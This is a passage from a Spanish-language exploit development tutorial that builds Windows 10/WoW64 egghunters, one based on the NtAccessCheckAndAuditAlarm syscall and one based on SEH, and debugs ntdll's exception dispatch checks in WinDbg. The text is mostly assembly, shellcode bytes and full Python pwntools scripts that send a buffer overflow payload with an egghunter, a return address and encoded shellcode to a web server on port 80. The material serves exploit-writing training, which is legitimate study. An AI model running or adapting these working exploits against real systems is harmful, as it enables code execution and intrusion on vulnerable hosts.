00007ff8`a7d6f99c 488bd9          mov     rbx,rcx

0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xb:
00007ff8`a7d6f99f 4885c9          test    rcx,rcx

0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xe:
00007ff8`a7d6f9a2 7473            je      wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x83 (00007ff8`a7d6fa17) [br=0]  

0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x10:
00007ff8`a7d6f9a4 66394102        cmp     word ptr [rcx+2],ax ds:00000000`ffff60eb=????

0:000> p
(1e40.d8c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x10:
00007ff8`a7d6f9a4 66394102        cmp     word ptr [rcx+2],ax ds:00000000`ffff60eb=????

La solución es igual de sencilla a la anterior ya que el orden nos lo permite, agregamos un push de 0x0 al inicio y en lugar de limpiar el stack con 0x4 lo hacemos con 0x8

    .find:
        inc edx             ; increase memory counter
        xor ebx, ebx        ; $ebx = 0x0

        push ebx            ; push 0x0
        push ebx            ; push 0x0
        push edx            ; push value to stack
        push ebx            ; push 0x0
        push ebx            ; push 0x0
        push ebx            ; push 0x0

        push 0x29           ; push NtAccessCheckAndAuditAlarm
        pop eax             ; $eax = NtAccessCheckAndAuditAlarm

        mov bl, 0xc0        ; wow64cpu!KiFastSystemCall
        call [fs:ebx]       ; syscall
        add esp, 0xc        ; clear stack

        pop edx             ; restore edx
        add esp, 0x8        ; clear stack

Esta vez dentro de la función se cumplirá el salto condicional por lo que no ejecutara la comparación y puede salir de la función sin corromper el programa

0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm + 0xfc
wow64!whNtAccessCheckAndAuditAlarm+0xfc:
00007ff8`a7d86e0c 498bca          mov     rcx,r10

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xff:
00007ff8`a7d86e0f e8808bfeff      call    wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00007ff8`a7d6f994)  

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x104:
00007ff8`a7d86e14 488bfb          mov     rdi,rbx

Una vez solucionamos los problemas que hacian que devolviera 0xc0000005 aunque la página fuera válida el código del egghunter se ve de la siguiente forma, aunque el egghunter es un poco mas grande que el anterior deberia funcionar en sistemas x64

global _start

_start:
    xor edx, edx            ; $edx = 0x0

    .page:
        or dx, 0xfff        ; get last address in page

    .find:
        inc edx             ; increase memory counter
        xor ebx, ebx        ; $ebx = 0x0

        push ebx            ; push 0x0
        push ebx            ; push 0x0
        push edx            ; push value to stack
        push ebx            ; push 0x0
        push ebx            ; push 0x0
        push ebx            ; push 0x0

        push 0x29           ; push NtAccessCheckAndAuditAlarm
        pop eax             ; $eax = NtAccessCheckAndAuditAlarm

        mov bl, 0xc0        ; wow64cpu!KiFastSystemCall
        call [fs:ebx]       ; syscall
        add esp, 0xc        ; clear stack

        pop edx             ; restore edx
        add esp, 0x8        ; clear stack

        cmp al, 0x5         ; check ACCESS_VIOLATION (0xc0000005)  
        jz .page            ; if zf == 1 -> next page

        mov eax, 0x74303077 ; $eax = "w00t"
        mov edi, edx        ; $edi = address

        scasd               ; cmp eax, [edi]
        jnz .find           ; if zf == 0 -> loop

        scasd               ; cmp eax, [edi]
        jnz .find           ; if zf == 0 -> loop

        jmp edi             ; if zf == 1 -> exec

❯ nasm -f elf egghunter.asm -o egghunter.o
❯ ld egghunter.o -m elf_i386 -o egghunter

❯ objdump -d egghunter | grep '[0-9a-f]:' | grep -v 'egghunter' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x31\xd2\x66\x81\xca\xff\x0f\x42\x31\xdb\x53\x53\x52\x53\x53\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05\x74\xdf\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xda\xaf\x75\xd7\xff\xe7  

Al exploit anterior solo le cambiamos el egghunter por el que acabamos de crear y ahora al ejecutarlo en un sistema x64 funciona correctamente y lanza la calculadora

#!/usr/bin/python3
from pwn import remote, p32, asm

egg = b"w00t" * 2
egghunter = b"\x31\xd2\x66\x81\xca\xff\x0f\x42\x31\xdb\x53\x53\x52\x53\x53\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05\x74\xdf\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xda\xaf\x75\xd7\xff\xe7"  

shellcode =  b""
shellcode += b"\xfc\xbb\xc2\x02\xd8\xe2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x3e\xea\x5a\xe2\xbe\xeb\x3a\x6a"
shellcode += b"\x5b\xda\x7a\x08\x28\x4d\x4b\x5a\x7c\x62\x20"
shellcode += b"\x0e\x94\xf1\x44\x87\x9b\xb2\xe3\xf1\x92\x43"
shellcode += b"\x5f\xc1\xb5\xc7\xa2\x16\x15\xf9\x6c\x6b\x54"
shellcode += b"\x3e\x90\x86\x04\x97\xde\x35\xb8\x9c\xab\x85"
shellcode += b"\x33\xee\x3a\x8e\xa0\xa7\x3d\xbf\x77\xb3\x67"
shellcode += b"\x1f\x76\x10\x1c\x16\x60\x75\x19\xe0\x1b\x4d"
shellcode += b"\xd5\xf3\xcd\x9f\x16\x5f\x30\x10\xe5\xa1\x75"
shellcode += b"\x97\x16\xd4\x8f\xeb\xab\xef\x54\x91\x77\x65"
shellcode += b"\x4e\x31\xf3\xdd\xaa\xc3\xd0\xb8\x39\xcf\x9d"
shellcode += b"\xcf\x65\xcc\x20\x03\x1e\xe8\xa9\xa2\xf0\x78"
shellcode += b"\xe9\x80\xd4\x21\xa9\xa9\x4d\x8c\x1c\xd5\x8d"
shellcode += b"\x6f\xc0\x73\xc6\x82\x15\x0e\x85\xc8\xe8\x9c"
shellcode += b"\xb0\xbf\xeb\x9e\xba\xef\x83\xaf\x31\x60\xd3"
shellcode += b"\x2f\x90\xc4\x2b\x7a\xb8\x6d\xa4\x23\x29\x2c"
shellcode += b"\xa9\xd3\x84\x73\xd4\x57\x2c\x0c\x23\x47\x45"
shellcode += b"\x09\x6f\xcf\xb6\x63\xe0\xba\xb8\xd0\x01\xef"
shellcode += b"\xdb\xb7\x91\x73\x35\x5d\x12\x11\x49\x9d\xe2"
shellcode += b"\xd9\x49\x9d\xe2\xd9"

offset = 253
junk = b"A" * (offset - len(egghunter))

ret = p32(0x00418674)

payload  = b""
payload += egghunter
payload += junk
payload += ret

method  = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")

content  = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += egg + shellcode

shell = remote("Windows", 80)
shell.sendline(content)


EggHunter SEH


Hasta ahora logramos modificar el egghunter para que funcione en la versión actual de Windows 10 y en un sistema de 64 bits, sin embargo para saber cual usar necesitariamos saber que version usa el sistema victima, esto generalmente es parte del proceso de reconocimiento pero nuestra idea es tener un exploit que funcione en casi cualquier sistema donde se ejecute sin la necesidad de ser modificado

En exploits anteriores dependiamos de una syscall para llamar a una funcion que comprobara si la dirección de memoria era valida, sin embargo podemos utilizar el propio sistema SEH antes visto para hacer esta comprobacion controlando las excepciones que ocurren cuando la dirección no es válida, el equipo de corelan hizo un gran trabajo con el siguiente egghunter sin embargo al probarlo en un sistema actual como Windows 10 simplemente falla en algun punto y no se ejecuta

global _start:

_start:
    jmp .addr                      ; jmp to call .seh

    .seh:
        mov eax, 0x74303077        ; $eax = "w00t"

        pop ecx                    ; $ecx = handler
        push ecx                   ; push handler
        push 0xffffffff            ; push nseh

        xor ebx, ebx               ; $ebx = 0x0
        mov [fs:ebx], esp          ; overwrite ExceptionList in TEB  

    .find:
        push 0x2                   ; push 0x2
        pop ecx                    ; $ecx = counter

        mov edi, ebx               ; $edi = address
        repz scasd                 ; cmp eax, [edi]

        jnz .loop                  ; if zf == 0 -> loop

        jmp edi                    ; if zf == 1 -> exec

    .page:
        or bx, 0xfff               ; get last address in page

    .loop:
        inc ebx                    ; increase memory counter
        jmp .find                  ; loop to cmp

    .addr:
        call .seh                  ; call .seh to set handler

        push 0xc                   ; push 0xc
        pop ecx                    ; $ecx = 0xc
        mov eax, [esp + ecx]       ; $eax = structure for exception  

        mov cl, 0xb8               ; $ecx = offset to eip
        add dword [eax + ecx], 0x6 ; add 0x6 to eip = .page

        pop eax                    ; $eax = return value
        add esp, 0x10              ; clear stack
        push eax                   ; push return value

        xor eax, eax               ; $eax = 0x0
        ret                        ; return to .page

Cuando ocurre una excepción el sistema llama a _except_handler que recibe varios parámetros, el parametro ContextRecord es uno de los que nos pueden interesar

typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) (  
    IN PEXCEPTION_RECORD ExceptionRecord,
    IN ULONG64 EstablisherFrame,
    IN OUT PCONTEXT ContextRecord,
    IN OUT PDISPATCHER_CONTEXT DispatcherContext
);

El parámetro ContextRecord apunta a una estructura CONTEXT, esta estructura guarda los datos de los registros en el momento en que ocurrió la excepción

Con un offset de 0xb8 encontramos el valor de Eip que apunta a la dirección de la instrucción que ha ocasionado la excepción, nuestra idea sera modificar esta estructura para llevar el flujo hacia el segmento .page que aumentara la página

0:000> dt ntdll!_CONTEXT
   +0x000 ContextFlags      : Uint4B
   +0x004 Dr0               : Uint4B
   +0x008 Dr1               : Uint4B
   +0x00c Dr2               : Uint4B
   +0x010 Dr3               : Uint4B
   +0x014 Dr6               : Uint4B
   +0x018 Dr7               : Uint4B
   +0x01c FloatSave         : _FLOATING_SAVE_AREA  
   +0x08c SegGs             : Uint4B
   +0x090 SegFs             : Uint4B
   +0x094 SegEs             : Uint4B
   +0x098 SegDs             : Uint4B
   +0x09c Edi               : Uint4B
   +0x0a0 Esi               : Uint4B
   +0x0a4 Ebx               : Uint4B
   +0x0a8 Edx               : Uint4B
   +0x0ac Ecx               : Uint4B
   +0x0b0 Eax               : Uint4B
   +0x0b4 Ebp               : Uint4B
   +0x0b8 Eip               : Uint4B
   +0x0bc SegCs             : Uint4B
   +0x0c0 EFlags            : Uint4B
   +0x0c4 Esp               : Uint4B
   +0x0c8 SegSs             : Uint4B
   +0x0cc ExtendedRegisters : [512] UChar

Luego de ello solo necesitamos modificar el valor de retorno desde el registro eax, esto a través de la estructura _EXCEPTION_DISPOSITION que contiene 4 posibles valores de retorno, cada uno de estos valores indican como se ha manejado la excepción, para indicar que la excepción se ha manejado con exito tendriamos que usar ExceptionContinueExecution o representado con su valor hexadecimal 0x00

0:000> dt ntdll!_EXCEPTION_DISPOSITION  
   ExceptionContinueExecution = 0n0
   ExceptionContinueSearch = 0n1
   ExceptionNestedException = 0n2
   ExceptionCollidedUnwind = 0n3

Ya que el egghunter falla igual que antes al inicio del codigo agregaremos un int3 que a la hora de compilar el valor de este opcode se representará solo como un \xcc al inicio, este nos servirá como breakpoint donde se detendrá el debugger

global _start:

_start:
    int3
    jmp .addr                      ; jmp to call .seh  

Nuevamente ejecutamos el exploit con el nuevo codigo que nos genero el egghunter

#!/usr/bin/python3
from pwn import remote, p32, asm

egg = b"w00t" * 2
egghunter = b"\xcc\xeb\x21\xb8\x77\x30\x30\x74\x59\x51\x6a\xff\x31\xdb\x64\x89\x23\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"  

shellcode = b"C" * 300

offset = 253
junk = b"A" * (offset - len(egghunter))

ret = p32(0x00418674)

payload  = b""
payload += egghunter
payload += junk
payload += ret

method  = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")

content  = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += egg + shellcode

shell = remote("Windows", 80)
shell.sendline(content)

Al ejecutarse se detiene en el breakpoint que ocasiona el int3, ahora mismo el registro eip apunta a nuestro nuevo egghunter que procederemos a debuggear

0:000> g
(1680.12f8): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=019029d0 ecx=0000000e edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367ea9d esp=0367ea34 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367ea9d cc              int     3

0:000> u eip L1c
0367ea9d cc              int     3
0367ea9e eb21            jmp     0367eac1
0367eaa0 b877303074      mov     eax,74303077h
0367eaa5 59              pop     ecx
0367eaa6 51              push    ecx
0367eaa7 6aff            push    0FFFFFFFFh
0367eaa9 31db            xor     ebx,ebx
0367eaab 648923          mov     dword ptr fs:[ebx],esp
0367eaae 6a02            push    2
0367eab0 59              pop     ecx
0367eab1 89df            mov     edi,ebx
0367eab3 f3af            repe scas dword ptr es:[edi]
0367eab5 7507            jne     0367eabe
0367eab7 ffe7            jmp     edi
0367eab9 6681cbff0f      or      bx,0FFFh
0367eabe 43              inc     ebx
0367eabf ebed            jmp     0367eaae
0367eac1 e8daffffff      call    0367eaa0
0367eac6 6a0c            push    0Ch
0367eac8 59              pop     ecx
0367eac9 8b040c          mov     eax,dword ptr [esp+ecx]
0367eacc b1b8            mov     cl,0B8h
0367eace 83040806        add     dword ptr [eax+ecx],6
0367ead2 58              pop     eax
0367ead3 83c410          add     esp,10h
0367ead6 50              push    eax
0367ead7 31c0            xor     eax,eax
0367ead9 c3              ret

El codigo egghunter inicia haciendo un salto a .addr que ejecuta un call a .seh

0:000> p
eax=00000000 ebx=019029d0 ecx=0000000e edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367ea9e esp=0367ea34 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367ea9e eb21            jmp     0367eac1

0:000> p
eax=00000000 ebx=019029d0 ecx=0000000e edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367eac1 esp=0367ea34 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367eac1 e8daffffff      call    0367eaa0

0:000> t
eax=00000000 ebx=019029d0 ecx=0000000e edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367eaa0 esp=0367ea30 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367eaa0 b877303074      mov     eax,74303077h

La importancia del call es que guarda la dirección de retorno en el stack, que es lo que esta despues del call, en este caso todo el código que controla la excepción

0:000> dds esp L1
0367ea30  0367eac6

0:000> u poi(esp)
0367eac6 6a0c            push    0Ch
0367eac8 59              pop     ecx
0367eac9 8b040c          mov     eax,dword ptr [esp+ecx]  
0367eacc b1b8            mov     cl,0B8h
0367eace 83040806        add     dword ptr [eax+ecx],6
0367ead2 58              pop     eax
0367ead3 83c410          add     esp,10h
0367ead6 50              push    eax

Guarda en el registro ecx el valor de la dirección del retorno de la llamada y la devuelve al stack, seguido de ello empuja al stack el valor 0xffffffff

0:000> p
eax=74303077 ebx=019029d0 ecx=0000000e edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367eaa5 esp=0367ea30 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367eaa5 59              pop     ecx

0:000> p
eax=74303077 ebx=019029d0 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367eaa6 esp=0367ea34 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367eaa6 51              push    ecx

0:000> p
eax=74303077 ebx=019029d0 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367eaa7 esp=0367ea30 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367eaa7 6aff            push    0FFFFFFFFh

0:000> p
eax=74303077 ebx=019029d0 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367eaa9 esp=0367ea2c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367eaa9 31db            xor     ebx,ebx

0:000> dds esp L2
0367ea2c  ffffffff
0367ea30  0367eac6

Establece el valor de ebx en 0 y mueve a fs:[ebx] la dirección del esp, lo que quiere decir que en fs:[0] encontraremos el puntero a los ultimos 2 dwords

0:000> r
eax=74303077 ebx=019029d0 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaa9 esp=0367ea2c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0367eaa9 31db            xor     ebx,ebx

0:000> p
eax=74303077 ebx=00000000 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaab esp=0367ea2c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0367eaab 648923          mov     dword ptr fs:[ebx],esp fs:003b:00000000=0367ff70  

0:000> p
eax=74303077 ebx=00000000 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c
eip=0367eaae esp=0367ea2c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0367eaae 6a02            push    2

0:000> dds poi(fs:[0]) L2
0367ea2c  ffffffff
0367ea30  0367eac6

Como en fs:[0] se guarda el puntero se guarda el puntero a la estructura SEH entonces nuestro controlador apuntara a lo que esta después de la llamada y el siguiente SEH al ser 0xffffffff indica que no existe y este será el unico controlador

0:000> !exchain
0367ea2c: 0367eac6
Invalid exception stack at ffffffff

Después de modificar la estructura SEH a nuestro favor pasamos a la sección .find, parecido a lo que vimos antes en eax se guarda el valor de w00t, mueve a edi la dirección actual de memoria y ejecuta scasd con la diferencia que usa repz para si sale bien se ejecute de nuevo, como la página no es válida se ocaciona un error

0:000> r
eax=74303077 ebx=00000000 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367eaae esp=0367ea2c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367eaae 6a02            push    2

0:000> p
eax=74303077 ebx=00000000 ecx=0367eac6 edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367eab0 esp=0367ea28 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367eab0 59              pop     ecx

0:000> p
eax=74303077 ebx=00000000 ecx=00000002 edx=77d71670 esi=019029d0 edi=0041703c  
eip=0367eab1 esp=0367ea2c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367eab1 89df            mov     edi,ebx

0:000> p
eax=74303077 ebx=00000000 ecx=00000002 edx=77d71670 esi=019029d0 edi=00000000  
eip=0367eab3 esp=0367ea2c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
0367eab3 f3af            repe scas dword ptr es:[edi]

0:000> p
(1680.12f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=74303077 ebx=00000000 ecx=00000002 edx=77d71670 esi=019029d0 edi=00000000  
eip=0367eab3 esp=0367ea2c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246  
0367eab3 f3af            repe scas dword ptr es:[edi]

Al ocurrir una excepción deberia saltar al controlador 0x0367eac6 que definimos antes, sin embargo al establecer un breakpoint en este y correr el programa nos damos cuenta que nunca llega, algo esta haciendo que el egghunter falle

0:000> !exchain
0367ea2c: 0367eac6
Invalid exception stack at ffffffff

0:000> bp 0x0367eac6

0:000> g
(1680.12f8): Access violation - code c0000005 (!!! second chance !!!)
eax=74303077 ebx=00000000 ecx=00000002 edx=77d71670 esi=019029d0 edi=00000000  
eip=0367eab3 esp=0367ea2c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246  
0367eab3 f3af            repe scas dword ptr es:[edi]

Para entender el porque necesitamos cargar el ntdll.dll en IDA, sabemos que cuando ocurre una excepciónn se llama a KiUserExceptionDispatcher, esta función llamará a RtlDispatchExceptión que obtendrá y analizará la ExceptionList

Podemos confirmar que se llama a RtlDispatchException, cuando ocurre la excepción establecemos el breakpoint y seguimos el flujo, logramos llegar a el

0:000> bp ntdll!RtlDispatchException

0:000> g
(1680.12f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=74303077 ebx=00000000 ecx=00000002 edx=77d71670 esi=019029d0 edi=00000000  
eip=0367eab3 esp=0367ea2c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246  
0367eab3 f3af            repe scas dword ptr es:[edi]

0:000> g
Breakpoint 1 hit
eax=74303077 ebx=0367e5c0 ecx=0367e5dc edx=77d71670 esi=019029d0 edi=00000000  
eip=77d26a10 esp=0367e5ac ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
ntdll!RtlDispatchException:
77d26a10 8bff            mov     edi,edi

Mirando los bloques de RtlDispatchException podemos ver uno que llama a RtlpGetStackLimits, esto se utiliza para recuperar los limites de la pila, la estructura TEB tiene los valores StackBase y StackLimit justo después de ExceptionList

0:000> dt ntdll!_NT_TIB
ntdll!_NT_TIB
   +0x000 ExceptionList        : Ptr32 _EXCEPTION_REGISTRATION_RECORD  
   +0x004 StackBase            : Ptr32 Void
   +0x008 StackLimit           : Ptr32 Void
   +0x00c SubSystemTib         : Ptr32 Void
   +0x010 FiberData            : Ptr32 Void
   +0x010 Version              : Uint4B
   +0x014 ArbitraryUserPointer : Ptr32 Void
   +0x018 Self                 : Ptr32 _NT_TIB

El bloque de código establece los registros edx y ecx con lea, los registros se basan en el valor de esp junto con 2 variables estaticas justo antes de la llamada, la funcion devuelve los valores StackBase y StackLimit por lo que asumimos que edx y ecx contendrán direcciones de memoria utilizadas para almacenar los valores, despues de la llamada el valor asignado a ExceptionList se mueve a esi

En la función RtlpGetStackLimits se mueve una dereferencia de fs:[0x18] a eax, en el offset 0x18 de la estructura TEB tenemos a Self que contiuene una dirección de la memoria virtual, despues de que la TEB se almacena en eax, se ejecutan 2 dereferencias más, la primera de [eax + 0x4] (StackBase) y se almacena en esi, la segunda [eax + 0x8] (StackLimit) y se almacena en eax, ambas se escriben en las direcciones apuntadas por edx y ecx establecidas antes de la llamada

Volviendo al bloque donde se llama a RtlpGetStackLimits observamos que se guardan nuevamente StackBase y StackLimit, esta vez en edi y ebx

Establecemos un breakpoint en el primer mov y seguimos ejecutando hasta llegar al salto, los valores de edi y ebx coinciden con los de StackBase y StackLimit

0:000> bp ntdll + 0x46ad1

0:000> g
Breakpoint 2 hit
eax=00000000 ebx=0367e5dc ecx=0367e4fc edx=77d71670 esi=0367ea2c edi=00000000
eip=77d26ad1 esp=0367e518 ebp=0367e5a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlDispatchException+0xc1:
77d26ad1 8b7c2420        mov     edi,dword ptr [esp+20h] ss:0023:0367e538=0367c000

0:000> p
eax=00000000 ebx=0367e5dc ecx=0367e4fc edx=77d71670 esi=0367ea2c edi=0367c000
eip=77d26ad5 esp=0367e518 ebp=0367e5a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlDispatchException+0xc5:
77d26ad5 8b5c2428        mov     ebx,dword ptr [esp+28h] ss:0023:0367e540=03680000

0:000> p
eax=00000000 ebx=03680000 ecx=0367e4fc edx=77d71670 esi=0367ea2c edi=0367c000
eip=77d26ad9 esp=0367e518 ebp=0367e5a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlDispatchException+0xc9:
77d26ad9 7553            jne     ntdll!RtlDispatchException+0x11e (77d26b2e) [br=0]  

0:000> r ebx; r edi
ebx=03680000
edi=0367c000

0:000> !teb
TEB at 00287000
    ExceptionList:        0367ea2c
    StackBase:            03680000
    StackLimit:           0367c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 00287000
    EnvironmentPointer:   00000000
    ClientId:             00001680 . 000012f8
    RpcHandle:            00000000
    Tls Storage:          00650cf0
    PEB Address:          00282000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

Tambien encontramos una llamada a RtlIsValidHandle que se encarga de hacer varias comprobaciones, siguiendo los bloques de codigo no hay otrea llamada a esta función por lo que tenemos que llegar a este bloque para que el handler funcione

Antes de llegar a este bloque necesitamos pasar varias comprobaciones, los registros usados en los cmp coinciden con los que contenian StackLimit y StackBase sin embargo para asegurar que no se alteran es revisar bloque por bloque

Esto puede ser un proceso tedioso, para acelerarlo establecemos el primer breakpoint en ntdll + 0x46b45, si llega ahi podemos asumir que no hay problema con bloques anteriores, afortunadamente alcanzamos el breakpoint, ahora estamos en la primera de varias comprobaciones, si las pasamos llegaremos a la llamada de la función

0:000> bp ntdll + 0x46b45

0:008> g
Breakpoint 3 hit
eax=00000001 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000  
eip=77d26b45 esp=0367e518 ebp=0367e5a8 iopl=0         nv up ei pl nz ac pe cy  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217  
ntdll!RtlDispatchException+0x135:
77d26b45 3bcf            cmp     ecx,edi

En la primera comprobacion el codigo intenta determinar si la estructura SEH se encuentra en una direccion superior a la de StackLimit, debido a que el egghunter empujo la estructura SEH al stack y luego sobrescribio el ExceptionList con el valor del esp pasamos esta comprobación y podemos pasar a la siguiente comparacion

0:000> r ecx; r edi
ecx=0367ea2c
edi=0367c000

0:000> !teb
TEB at 00287000
    ExceptionList:        0367ea2c
    StackBase:            03680000
    StackLimit:           0367c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 00287000
    EnvironmentPointer:   00000000
    ClientId:             00001680 . 000012f8
    RpcHandle:            00000000
    Tls Storage:          00650cf0
    PEB Address:          00282000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

El siguiente bloque inicia con una instruccion lea que guarda [ecx + 0x8] en eax, el resultado de esto es que eax almacena la direccion de ExceptionList + 0x8

0:000> r
eax=00000001 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000  
eip=77d26b4d esp=0367e518 ebp=0367e5a8 iopl=0         nv up ei pl nz na po nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202  
ntdll!RtlDispatchException+0x13d:
77d26b4d 8d4108          lea     eax,[ecx+8]

0:000> r eax
eax=00000001

0:000> ? ecx + 8
Evaluate expression: 57141812 = 0367ea34

0:000> p
eax=0367ea34 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000  
eip=77d26b50 esp=0367e518 ebp=0367e5a8 iopl=0         nv up ei pl nz na po nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202  
ntdll!RtlDispatchException+0x140:
77d26b50 3bc3            cmp     eax,ebx

0:000> r eax
eax=0367ea34

La siguiente comparacion es de eax y ebx1, eax contiene el valor calculado y ebx StackBase, esta comprueba si la dirección de ExceptionList + 0x8 se encuentra en una dirección menor a StackBase, la razon por la que añade 0x8 es que es el tamaño de la estructura _EXCEPTION_REGISTRATION_RECORD que consta de 2 dwords

0:000> r
eax=0367ea34 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000  
eip=77d26b50 esp=0367e518 ebp=0367e5a8 iopl=0         nv up ei pl nz na po nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202  
ntdll!RtlDispatchException+0x140:
77d26b50 3bc3            cmp     eax,ebx

0:000> r eax; r ebx
eax=0367ea34
ebx=03680000

0:000> !teb
TEB at 00287000
    ExceptionList:        0367ea2c
    StackBase:            03680000
    StackLimit:           0367c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 00287000
    EnvironmentPointer:   00000000
    ClientId:             00001680 . 000012f8
    RpcHandle:            00000000
    Tls Storage:          00650cf0
